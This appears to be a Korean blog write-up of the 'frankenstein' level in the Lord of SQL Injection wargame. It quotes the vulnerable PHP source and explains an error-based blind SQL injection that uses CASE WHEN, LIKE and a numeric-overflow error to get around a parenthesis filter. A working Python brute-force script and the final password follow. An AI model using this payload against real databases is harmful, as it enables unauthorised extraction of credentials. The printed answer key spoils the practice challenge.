728x90
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit("error");
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
highlight_file(__FILE__);
?>
괄호가 필터링된다. 게다가 union select도 할 수 없다. 그래서 이 문제는 답을 참고했다.
mysql에서는 9e307*N 으로 표현되는 값은 표현가능한 범위를 넘어서서 에러를 반환한다.
괄호를 사용할 수 없기에 if문 대신 case when then 구문을 이용한다. 조건식에 like 연산자를 사용한다.
괄호를 사용할 수 없기에 비밀번호 길이를 따로 구할 수도 없다. 따라서 바로 pw를 구한다.
like 연산자에서 %는 문자(열)을 의미하고, _는 문자 한 개를 의미한다.
ex) 'abcde' like 'ab%' -> 1
ex) 'abcde' like 'ab_' -> 0
ex) 'abcde' like 'e%' -> 0
코드는 다음과 같다.
import requests
url='https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookie={'PHPSESSID':'자신의 세션id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'
#0dc4efbb
def find_pw():
pw=''
while True:
chk=False
for i in ch:
r=requests.get(url+"?pw=' or id='admin' and case when pw like '{}%25' then 9e307*2 else 0 end%23".format(pw+i),cookies=cookie)
if '<br>error' in r.text:
pw+=i
chk=True
break
if chk==False:
break
print(pw)
find_pw()
참고로 ch에 소문자 대신 대문자를 넣거나 대문자를 추가해도 의미는 없다. 왜냐하면 mysql에서 like 뒤에 대문자를 넣든 소문자를 넣든 똑같이 취급한다. 즉 구분이 안된다. 따라서 알파벳은 대문자인 경우도 고려해야 하지만 los의 모든 답은 소문자였기에 소문자를 대입하니 통과한다.
답: ?pw=0dc4efbb
728x90
'Lord of SQL Injection' 카테고리의 다른 글
ouroboros (0) | 2023.01.03 |
---|---|
phantom (0) | 2023.01.03 |
blue_dragon (0) | 2023.01.02 |
red_dragon (0) | 2023.01.02 |
green_dragon (2) | 2023.01.02 |